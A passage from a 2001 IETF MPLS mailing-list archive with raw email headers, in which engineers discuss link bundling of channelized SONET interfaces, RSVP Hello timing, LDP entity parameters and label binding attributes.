Sent: Tuesday, May 08, 2001 5:04 PM
To: 'Bala Rajagopalan'; mpls@UU.NET; 'Kireeti Kompella'
Cc: ccamp@ops.ietf.org
Subject: RE: Question about logical link in Link bundling


Bala,

Correct me if I am wrong. For my understanding, a channelized OC-12
interface can support 12 channels (12 logical DS3 interfaces). Some even
capable of defining logical interface within those DS3 channel to support
T1. Then, each logical DS3 interfaces can create a (logical) link to the
remote routers' DS3 interfaces. The original used of the channelized OC-12
interface is to reduce the cabling and additional equipment cost and labor
cost at the central location. Since it is a channelized interface, I
believe, it would not allow the user to use it as an OC-12c interface. By
applying link bundling on that, now you can size your pipe whatever you want
upto the maximum BW (in this case, it will be STS-12c). In addition, using
O-UNI, you will get a true bandwidth on demand.

Just a thought.

Man Wing



 -----Original Message-----
From: 	Bala Rajagopalan [mailto:BRaja@tellium.com] 
Sent:	Tuesday, May 08, 2001 3:24 PM
To:	'Fong, Man Wing'; mpls@UU.NET; 'Kireeti Kompella'
Cc:	ccamp@ops.ietf.org
Subject:	RE: Question about logical link in Link bundling


Hello,

I'm a bit confused by the question. If you
had a channelized OC-12 link, wouldn't you
just advertise it with suitable Min Reservable
Bw values to indicate that it can carry lower
granularity traffic? In other words, why would
you introduce the notion of a "logical" link
in this case? 

REgards,

Bala Rajagopalan
Tellium, Inc.
2 Crescent Place
P.O. Box 901
Oceanport, NJ 07757-0901
Tel: (732) 923-4237
Fax: (732) 923-9804
Email: braja@tellium.com 

> -----Original Message-----
> From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
> Sent: Monday, April 30, 2001 3:31 PM
> To: mpls@UU.NET; 'Kireeti Kompella'
> Cc: ccamp@ops.ietf.org
> Subject: Question about logical link in Link bundling
> 
> 
> Hi All,
> 
> From "draft-kompella-mpls-bundle-05.txt", it indicates that 
> multiple links
> between two LSRs can be bundled as a single link to improve 
> the routing
> scalability. Apparently, it can be used to bundle multiple links from
> multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> etc...) to be a single link. However, can it be used to 
> bundle logical links
> like T1s in channelized T3, or DS3s, STS-3c in channelized 
> OC-12 interface?
> 
> Thanks.
> 
> Regards,
> Man Wing
> 
> 
> 



From owner-mpls@UU.NET  Wed May  9 01:54:53 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA22089
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 01:54:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkodo27655;
	Tue, 8 May 2001 17:12:25 GMT
Received: by mail-control.mail.uu.net 
	id QQkodo09632
	for mpls-outgoing; Tue, 8 May 2001 17:11:52 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkodo09627
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 17:11:45 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkodo27423
	for <mpls@UU.NET>; Tue, 8 May 2001 17:11:29 GMT
Received: from mailgate.pit.comms.marconi.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mailgate.pit.comms.marconi.com [169.144.68.6])
	id QQkodo21035
	for <mpls@UU.NET>; Tue, 8 May 2001 17:11:28 GMT
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA06874
	for <mpls@UU.NET>; Tue, 8 May 2001 13:11:26 -0400 (EDT)
Received: from marconi.com (dcharlap-pc.dc.fore.com [169.144.136.107])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id NAA21641
	for <mpls@UU.NET>; Tue, 8 May 2001 13:11:26 -0400 (EDT)
Message-ID: <3AF828CE.A3D9738C@marconi.com>
Date: Tue, 08 May 2001 13:11:42 -0400
From: David Charlap <david.charlap@marconi.com>
X-Mailer: Mozilla 4.77 [en] (WinNT; U)
X-Accept-Language: en-US,en-GB,en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Re: RSVP hello message
References: <OF37FDA4F5.F94CF035-ON85256A46.000A236F@cc.telcordia.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hong Liao wrote:
> 
> I still have one more for the Hello message needed to confirm.
> Anytime, the Ingress, Egress or LSR which supports Hello extension,
> will send out Hello(request) message, for any reason the router
> which received this Hello request message must first reply Hello
> ack back, then it can move to another stage.
> 
> Suppose there is Ingress router which sends out Path message, it is
> waiting Resv back from the Egress, but before it receives the Resv,
> it received a Hello request message from neighbour, it must send
> out Hello ack back first for any reason.

RSVP must not be run synchronously.

If a Path message is sent out, it MUST NOT block waiting for a Resv to
come back.  It may receive a thousand other Path messages before then,
and it can't block them all.

Since Hello messages are not dependant on any RSVP state, it should be
possible to handle them as they arrive, without regard for what other
messages may or may not have been received.

Keep in mind that if you delay responding to a Hello message, your
neighbor may decide that you have reset, tearing down all your
sessions.  If the draft's recommended interval/multiple for Hello is in
use, you will only have 17.5ms to get your response out.

-- David


From owner-mpls@UU.NET  Wed May  9 01:54:53 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id BAA22092
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 01:54:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkodc14816;
	Tue, 8 May 2001 14:03:16 GMT
Received: by mail-control.mail.uu.net 
	id QQkodc10665
	for mpls-outgoing; Tue, 8 May 2001 14:01:41 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkodc09993
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 14:01:23 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkodc12868
	for <mpls@uu.net>; Tue, 8 May 2001 14:00:19 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkodc26698
	for <mpls@uu.net>; Tue, 8 May 2001 14:00:18 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f48E0In24634
	for <mpls@uu.net>; Tue, 8 May 2001 07:00:18 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA19005 for mpls@uu.net; Tue, 8 May 2001 10:00:17 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkoce24494
	for <mpls@mail-control.mail.uu.net>; Tue, 8 May 2001 08:03:52 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkoce05163
	for <mpls@UU.NET>; Tue, 8 May 2001 08:02:35 GMT
Received: from mailgw.local.ipunplugged.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [213.88.134.217])
	id QQkoce23898
	for <mpls@UU.NET>; Tue, 8 May 2001 08:02:31 GMT
Received: from HANSPC (a27.local.ipunplugged.com [192.168.4.197])
	by mailgw.local.ipunplugged.com (8.9.3/8.9.3) with SMTP id KAA21110;
	Tue, 8 May 2001 10:02:42 +0200
From: "Hans Sj?strand" <hans@ipunplugged.com>
To: "Felix Chang" <mplszhz@263.net>
Cc: <mpls@UU.NET>
Subject: RE: RE: Parameters in LDP entity table
Date: Tue, 8 May 2001 10:00:38 +0200
Message-ID: <LOEHIHPCEGEDPKHAHPMMMEADCEAA.hans@ipunplugged.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="gb2312"
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <200105080105.f4815RR08565@noya.bupt.edu.cn>
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Sender: owner-mpls@UU.NET
Precedence: bulk
X-MIME-Autoconverted: from 8bit to quoted-printable by cmr1.ash.ops.us.uu.net id QQkodc14816
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by ietf.org id BAA22092

Yes they can. But since the different modes of LDP serves
differnet deployment scenarious of LDP the need for it becomes almost none
in my mind.
However, since the LDP and arch specs allows for it, the mib has to support
it, hence
the placement of the objects on entity level instead on LSR level.

So this explanation is academic. E.g.

In a network where some part "A" consist of modern ATM LSRs with L3
forwarding
capacity. The distribution in this part could be independant to get faster
convergance and if a labelled
packet comes in for which it has no LSP XC it will pop and forward.
The other part "B" consist of cheaper ATM LSRs without L3 forwarding
capacity, these basically
have to use Ordered since the they can't handle "partially setup LSRs". The
LSR on the
boundary between these network parts will have one interface with
independant and one
with ordered distribution control.

The XC between an label on the "A" interface and a label on the "B"
interface will happen when
the labels for the FEC is assigned or received from the peers. There is no
such thing as
internal distribution method. The method percieved will probably differ
depending on from
which direction the label request are coming from and the internal
capabilities of the LSR
(wheither it can or want to L3 forward), but this is a implentation issue.

Read section 2.6 in 3036 a few times and play with some LSP setups and you
will get a grip of it.

Regards
/// Hasse

> -----Original Message-----
> From: Felix Chang [mailto:mplszhz@263.net]
> Sent: den 8 maj 2001 00:00
> To: Hans Sj?strand
> Cc: mpls@UU.NET
> Subject: Re: RE: Parameters in LDP entity table
>
>
> hi,Hansse
> 	Thank you, but I still have some questions.
> 	As you said, we could have several entities when the LSR have
> ATM-based and FR-based interfaces at the same time. And these
> entities could have different distribution and retention method.
> 	My question is: If in one LSR, two entities for two interfaces
>  have different distribution and retention method, could these two
>  interfaces interwork? If a LSP is setting up between them, we should
> use which distribution method in these two entities?
>
> Best regards!
>
> 							Felix
>
> On 2001-05-07 11:07:00 you wrote£º
> >It's true that for many ATM or FR based interfaces uses the
> >encap from rfc3034 or rfc3035. It's also true that those use
> >per intreface label space. In that case you have several
> >entities. distribution and retention method isn't neccesary
> >the same over the label switch even though it's defently the
> >most common case.
> >
> >from RFC 3037 LDP Applicability, section 3
> >   Downstream on Demand distribution with conservative label retention
> >   and ordered control is appropriate in situations where labels are a
> >   relatively scarce resource that must be conserved, and Downstream
> >   Unsolicited distribution with liberal label retention and independent
> >   control is appropriate where labels are plentiful and need not be
> >   carefully conserved.  However, the protocol permits other
> >   combinations of distribution method, label retention mode and control
> >   mode, including hybrid variants of them.
> >
> >Regards
> >/// Hasse
> >
> >> -----Original Message-----
> >> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of
> Felix Chang
> >> Sent: den 6 maj 2001 09:57
> >> To: mpls_maillist
> >> Subject: Parameters in LDP entity table
> >>
> >>
> >> hi,everyone
> >>
> >>       I am confused by some parameters in the LDP entity table.
> >>       Suppose there are several kinds of mpls-capable
> >> interfaces(eg.ATM-based, fr-based) in a LSR, it should use per
> >> interface label space. So it has several LDP entities. Is that
> >> right? In these entities, are the values of some parameters such
> >> as mplsLdpEntityLabelDistributionMethod,
> >> mplsLdpEntityLabelRetentionMode, the same?
> >>
> >>
> >>       Best regards!
> >>                         Felix Chang
> >>                           mplszhz@263.net
>
> 	Best regards£¡
>
>             Felix Chang
>             mplszhz@263.net



From owner-mpls@UU.NET  Wed May  9 05:26:52 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA02611
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 05:26:52 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogb07385;
	Wed, 9 May 2001 09:25:59 GMT
Received: by mail-control.mail.uu.net 
	id QQkogb11135
	for mpls-outgoing; Wed, 9 May 2001 09:25:26 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkogb11129
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 09:25:20 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkogb09321
	for <mpls@UU.NET>; Wed, 9 May 2001 09:24:42 GMT
Received: from wiprom2mx1.wipro.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: wiprom2mx1.wipro.com [203.197.164.41])
	id QQkogb04769
	for <mpls@UU.NET>; Wed, 9 May 2001 09:24:40 GMT
Received: from m2vwall2.wipro.com (m2vwall2.wipro.com [164.164.27.52])
	by wiprom2mx1.wipro.com (8.9.3+Sun/8.9.3) with SMTP id PAA24790
	for <mpls@UU.NET>; Wed, 9 May 2001 15:02:53 GMT
Received: from soflt.alc.wipinfo.soft.net ([192.168.220.205]) by
          sarovar.mail.wipro.com (Netscape Messaging Server 4.15) with
          ESMTP id GD2AEP00.674; Wed, 9 May 2001 15:00:25 +0530 
Date: Wed, 9 May 2001 14:59:52 +0530 (IST)
From: "chetan kumar s" <chetan.kumar@wipro.com>
X-Sender: chetansk@soflt.alc.wipinfo.soft.net
Reply-To: chetan.kumar@wipro.com
To: suchauhan@hss.hns.com
cc: mpls@UU.NET
Subject: Re: Attributes of a Label Binding
In-Reply-To: <65256A45.001985E6.00@sandesh.hss.hns.com>
Message-ID: <Pine.LNX.4.21.0105091457040.20326-100000@soflt.alc.wipinfo.soft.net>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

On Mon, 7 May 2001 suchauhan@hss.hns.com wrote:

> 
> 
> hi all!
>      referring to section 3.5 of RFC 3031;-

Hi Sumit,
	The label attribitues that are reffered here are attributes
associated with the label (inturn to the LSP), this is not associated to
the FEC. It could be Hop Count OR Path Vector..

Thanks
Chetan S

> 
> what are these attributes being talked about that may be learned from
> the downstream LSR for a particular bind. To me if anything is
> specific to a binding for a particular FEC then it should be a part of
> the FEC itself i.e. it should be one of the FEC elements that defines
> that packet class. I am not able to appreciate the need for any other
> information that needs to exist and be exchanged for a binding.
> 
> regards
> sumit
> 
> 



From owner-mpls@UU.NET  Wed May  9 05:57:30 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id FAA02883
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 05:57:30 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkogd04650;
	Wed, 9 May 2001 09:56:56 GMT
Received: by mail-control.mail.uu.net 
	id QQkogd13845
	for mpls-outgoing; Wed, 9 May 2001 09:56:25 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkogd13805
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 09:56:16 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkogd10269
	for <mpls@uu.net>; Wed, 9 May 2001 09:54:34 GMT
Received: from mill.cisco.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mill.cisco.com [161.44.131.47])
	id QQkogd29170
	for <mpls@uu.net>; Wed, 9 May 2001 09:54:33 GMT
Received: (erosen@localhost) by mill.cisco.com (8.8.5-Cisco.1/8.6.5) id FAA16836 for mpls@uu.net; Wed, 9 May 2001 05:54:33 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkogd13685
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 09:54:03 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkogd09757
	for <mpls@UU.NET>; Wed, 9 May 2001 09:53:54 GMT
Received: from alemail1.firewall.lucent.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: alemail1.lucent.com [192.11.221.161])
	id QQkogd28464
	for <mpls@UU.NET>; Wed, 9 May 2001 09:53:54 GMT
Received: from alemail1.firewall.lucent.com (localhost [127.0.0.1])
	by alemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f499rsG11974
	for <mpls@UU.NET>; Wed, 9 May 2001 05:53:54 -0400 (EDT)
Received: from hzsms01.nl.lucent.com (h135-85-32-31.lucent.com [135.85.32.31])
	by alemail1.firewall.lucent.com (Switch-2.1.1/Switch-2.1.0) with ESMTP id f499rrh11943
	for <mpls@UU.NET>; Wed, 9 May 2001 05:53:53 -0400 (EDT)
Received: by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id LAA01637; Wed, 9 May 2001 11:53:52 +0200 (MET DST)
Cc: "'Bala Rajagopalan'" <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>, ccamp@ops.ietf.org
Received: from lucent.com by hzsms01.nl.lucent.com (8.8.8+Sun/EMS-1.5 sol2)
	id LAA01553; Wed, 9 May 2001 11:53:48 +0200 (MET DST)
Message-ID: <3AF913AB.EAA21B5B@lucent.com>
Date: Wed, 09 May 2001 11:53:47 +0200
From: Maarten Vissers <mvissers@lucent.com>
Organization: Lucent Technologies
X-Mailer: Mozilla 4.6 [en]C-CCK-MCD EMS-1.4  (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: "Fong, Man Wing" <MFong@whiterocknetworks.com>
Original-CC: "'Bala Rajagopalan'" <BRaja@tellium.com>, mpls@UU.NET,
        "'Kireeti Kompella'" <kireeti@juniper.net>, ccamp@ops.ietf.org
Subject: Re: Question about logical link in Link bundling
References: <66E0B27B8A29D511B19600D0B744446527AE4D@192-168-1-220.customer.algx.net>
Content-Type: multipart/mixed;
 boundary="------------700A3D4014597873ABD418F9"
Sender: owner-mpls@UU.NET
Precedence: bulk

This is a multi-part message in MIME format.
--------------700A3D4014597873ABD418F9
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Man Wing,

An OC12 interface port (when connect to another OC12 interface port)
provides what is called a "topological link" in ITU-T Rec. G.852.2 to
its client (HOVC/STS) layer network. This topological link supports one
or more HOVC/STS link connections, as expressed in terms defined in
G.853.8 "pre-provisioned adaptation management":

- pamMaxProvisionableCapacity: The pamMaxProvisionableCapacity attribute
provides the value that represents the maximum capacity that could be
provisioned for a link from the server trail of this link. However, this
maximum may not be provisioned for this link if several links are
supported by the same server trail: in this case, they are sharing the
maximum capacity.

- pamPotentialLinkCapacity: The pamPotentialLinkCapacity attribute
provides a value that represents the potential capacity that could be
provisioned on a link from the capacity that has not already been
provisioned from the server trail of this link.

- pamProvisionedLinkCapacity: The pamProvisionedLinkCapacity attribute
provides the capacity provisioned on a link.

- pamAvailableLinkCapacity: The pamAvailableLinkCapacity attribute
represents the provisioned capacity that is not assigned.

For an OC12, the following may be supported:

- example 1 - STS1, STS3c and STS12c supported:
pamMaxProvisionableCapacity:	STS1: 12;	STS3c: 4;	STS12c: 1
pamPotentialLinkCapacity: 	STS1: 12;	STS3c: 4;	STS12c: 1
pamProvisionedLinkCapacity:  	STS1: 0;	STS3c: 0;	STS12c: 0
pamAvailableLinkCapacity:  	STS1: 0;	STS3c: 0;	STS12c: 0

- example 2 - only STS3c supported:
pamMaxProvisionableCapacity:	STS1: 0;	STS3c: 4;	STS12c: 0
pamPotentialLinkCapacity: 	STS1: 0;	STS3c: 4;	STS12c: 0
pamProvisionedLinkCapacity:  	STS1: 0;	STS3c: 0;	STS12c: 0
pamAvailableLinkCapacity:  	STS1: 0;	STS3c: 0;	STS12c: 0

- example 3 - STS1 and STS12c supported:
pamMaxProvisionableCapacity:	STS1: 12;	STS3c: 0;	STS12c: 1
pamPotentialLinkCapacity: 	STS1: 12;	STS3c: 0;	STS12c: 1
pamProvisionedLinkCapacity:  	STS1: 0;	STS3c: 0;	STS12c: 0
pamAvailableLinkCapacity:  	STS1: 0;	STS3c: 0;	STS12c: 0

The above examples are assuming an initial situation in which none of
the link connections is already providing service. For the case 1 STS1
and 1 STS3c link connection are providing service example 1 would have
its parameters presented as:

- example 1 - STS1, STS3c and STS12c supported and 1 STS1 and 1 STS3c
link connection used:
pamMaxProvisionableCapacity:	STS1: 12;	STS3c: 4;	STS12c: 1
pamPotentialLinkCapacity: 	STS1: 6;	STS3c: 2;	STS12c: 0
pamProvisionedLinkCapacity:  	STS1: 1;	STS3c: 1;	STS12c: 0
pamAvailableLinkCapacity:  	STS1: 2;	STS3c: 0;	STS12c: 0

See for more examples my ASTN layer network architecture document.

Note that DS3's, T1's, etc are not visible at this point in the layer
network structure. 
The HOVC/STS layer network deals with VC3/STS1, VC4/STS3c,
VC-4-4c/STS12c, VC-4-16c/STS48c, VC-4-64c/STS192c and VC-4-256c/STS768c
signals and groups of these signals (AUG-X/STSG-X, groups supporting
virtual concatenation, other groups).
In addition, these signals may be terminated in trail termination points
(TTP) within an Access Group (AG), providing access to its client
signals. Such client signals can be a e.g. DS3, E4, ATM, ethernet, IP,
MPLS and LOVC/VT signals.

For the case the HOVC/STS layer network connects two STS1 or two VC4
ports, the STS1 or VC4 path that is now present provides e.g. a LOVC/VT
topological link to the LOVC/VT layer network. 
Alternatively, if the payload would have been ATM, it would have
provided a ATM VP topological link to the ATM VP layer network. 
For the case the payload would have been DS3, it would have provided a
DS3 link connection to e.g. a customer.

In the LOVC/VT layer network T1's are not directly visible either. It
are the VC11/VT1.5, VC12, VC3 signal and groups of these signals. Only
when such signal is terminated in a TTP within an AG in this layer
network, access to its client signals (e.g. a T1) is provided.

So for the LOVC/VT layer entwork, STS1 and VC4 are the interface ports
providing LOVC/VT (topological) links. some examples:

For a VC4, the following may be supported:

- example 1 - VC11/VT1.5, VC12 and VC3 supported:
pamMaxProvisionableCapacity:	VC11/VT1.5: 84;	VC12: 63;	VC3: 3
pamPotentialLinkCapacity: 	VC11/VT1.5: 84;	VC12: 63;	VC3: 3
pamProvisionedLinkCapacity:  	VC11/VT1.5: 0;	VC12: 0;	VC3: 0
pamAvailableLinkCapacity:  	VC11/VT1.5: 0;	VC12: 0;	VC3: 0

- example 2 - VC12 and VC3 supported:
pamMaxProvisionableCapacity:	VC11/VT1.5: 0;	VC12: 63;	VC3: 3
pamPotentialLinkCapacity: 	VC11/VT1.5: 0;	VC12: 63;	VC3: 3
pamProvisionedLinkCapacity:  	VC11/VT1.5: 0;	VC12: 0;	VC3: 0
pamAvailableLinkCapacity:  	VC11/VT1.5: 0;	VC12: 0;	VC3: 0


- example 1 - VC11/VT1.5, VC12 and VC3 supported and 1 VC12 and 1 VC3
link connection:
pamMaxProvisionableCapacity:	VC11/VT1.5: 84;	VC12: 63;	VC3: 3
pamPotentialLinkCapacity: 	VC11/VT1.5: 52;	VC12: 39;	VC3: 1
pamProvisionedLinkCapacity:  	VC11/VT1.5: 0;	VC12: 1;	VC3: 0
pamAvailableLinkCapacity:  	VC11/VT1.5: 0;	VC12: 2;	VC3: 0


Now consider that there is one OC12 and one OC48 connection between the
two network elements. This would create an additional HOVC/STS
topological link supported by the OC48 connection. Assume that this OC48
supports from STS1 to STS48c, then the HOVC/STS link (i.e. the "bundle"
in GMPLS terminology) would be characterised as follows:

- example 1b - STS1, STS3c and STS12c supported on OC12 and STS1 to
STS48c supported on OC48:
pamMaxProvisionableCapacity:	STS1: 60; STS3c: 20; STS12c: 5;	STS48c: 1
pamPotentialLinkCapacity: 	STS1: 60; STS3c: 20; STS12c: 5;	STS48c: 1
pamProvisionedLinkCapacity:  	STS1: 0;  STS3c: 0;  STS12c: 0;	STS48c: 1
pamAvailableLinkCapacity:  	STS1: 0;  STS3c: 0;  STS12c: 0;	STS48c: 1

If instead of one VC4 also one STS1 path is present, an additional
LOVC/VT topological link would be provided by the STS1 path to the
LOVC/VT layer network. If this STS1 supports VT1.5 only, the LOVC/VT
link (i.e. the "bundle" in GMPLS terminology) would be characterised as
follows:

- example 2b - VC12 and VC3 supported on VC4 and VT1.5 on STS1:
pamMaxProvisionableCapacity:	VC11/VT1.5: 28;	VC12: 63;	VC3: 3
pamPotentialLinkCapacity: 	VC11/VT1.5: 28;	VC12: 63;	VC3: 3
pamProvisionedLinkCapacity:  	VC11/VT1.5: 0;	VC12: 0;	VC3: 0
pamAvailableLinkCapacity:  	VC11/VT1.5: 0;	VC12: 0;	VC3: 0

Hope this helps understanding the multi layer aspects as well as
"bundling".

Regards,

Maarten


"Fong, Man Wing" wrote:
> 
> Bala,
> 
> Correct me if I am wrong. For my understanding, a channelized OC-12
> interface can support 12 channels (12 logical DS3 interfaces). Some even
> capable of defining logical interface within those DS3 channel to support
> T1. Then, each logical DS3 interfaces can create a (logical) link to the
> remote routers' DS3 interfaces. The original used of the channelized OC-12
> interface is to reduce the cabling and additional equipment cost and labor
> cost at the central location. Since it is a channelized interface, I
> believe, it would not allow the user to use it as an OC-12c interface. By
> applying link bundling on that, now you can size your pipe whatever you want
> upto the maximum BW (in this case, it will be STS-12c). In addition, using
> O-UNI, you will get a true bandwidth on demand.
> 
> Just a thought.
> 
> Man Wing
> 
>  -----Original Message-----
> From:   Bala Rajagopalan [mailto:BRaja@tellium.com]
> Sent:   Tuesday, May 08, 2001 3:24 PM
> To:     'Fong, Man Wing'; mpls@UU.NET; 'Kireeti Kompella'
> Cc:     ccamp@ops.ietf.org
> Subject:        RE: Question about logical link in Link bundling
> 
> Hello,
> 
> I'm a bit confused by the question. If you
> had a channelized OC-12 link, wouldn't you
> just advertise it with suitable Min Reservable
> Bw values to indicate that it can carry lower
> granularity traffic? In other words, why would
> you introduce the notion of a "logical" link
> in this case?
> 
> REgards,
> 
> Bala Rajagopalan
> Tellium, Inc.
> 2 Crescent Place
> P.O. Box 901
> Oceanport, NJ 07757-0901
> Tel: (732) 923-4237
> Fax: (732) 923-9804
> Email: braja@tellium.com
> 
> > -----Original Message-----
> > From: Fong, Man Wing [mailto:MFong@WhiteRockNetworks.com]
> > Sent: Monday, April 30, 2001 3:31 PM
> > To: mpls@UU.NET; 'Kireeti Kompella'
> > Cc: ccamp@ops.ietf.org
> > Subject: Question about logical link in Link bundling
> >
> >
> > Hi All,
> >
> > From "draft-kompella-mpls-bundle-05.txt", it indicates that
> > multiple links
> > between two LSRs can be bundled as a single link to improve
> > the routing
> > scalability. Apparently, it can be used to bundle multiple links from
> > multiple physical interfaces (e.g. multiple T1s, DS3s, OC-12s, OC-48s,
> > etc...) to be a single link. However, can it be used to
> > bundle logical links
> > like T1s in channelized T3, or DS3s, STS-3c in channelized
> > OC-12 interface?
> >
> > Thanks.
> >
> > Regards,
> > Man Wing
> >
> >
> >
--------------700A3D4014597873ABD418F9
Content-Type: text/x-vcard; charset=us-ascii;
 name="mvissers.vcf"
Content-Description: Card for Maarten Vissers
Content-Disposition: attachment;
 filename="mvissers.vcf"
Content-Transfer-Encoding: 7bit

begin:vcard 
n:Vissers;Maarten
tel;cell:+31 62 061 3945
tel;fax:+31 35 687 5976
tel;home:+31 35 526 5463
tel;work:+31 35 687 4270
x-mozilla-html:FALSE
org:Lucent Technologies Nederland;NA&CPSE
version:2.1
email;internet:mvissers@lucent.com
adr;quoted-printable:;;Botterstraat 45=0D=0A=0D=0A;1271 XL Huizen;;;The Netherlands
fn:Maarten Vissers
end:vcard

--------------700A3D4014597873ABD418F9--



From owner-mpls@UU.NET  Wed May  9 06:09:51 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA03010
	for <mpls-archive@lists.ietf.org>; Wed, 9 May 2001 06:09:51 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkoge18089;
	Wed, 9 May 2001 10:09:24 GMT
Received: by mail-control.mail.uu.net 
	id QQkoge03384
	for mpls-outgoing; Wed, 9 May 2001 10:08:46 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkoge03379
	for <mpls@mail-control.mail.uu.net>; Wed, 9 May 2001 10:08:45 GMT
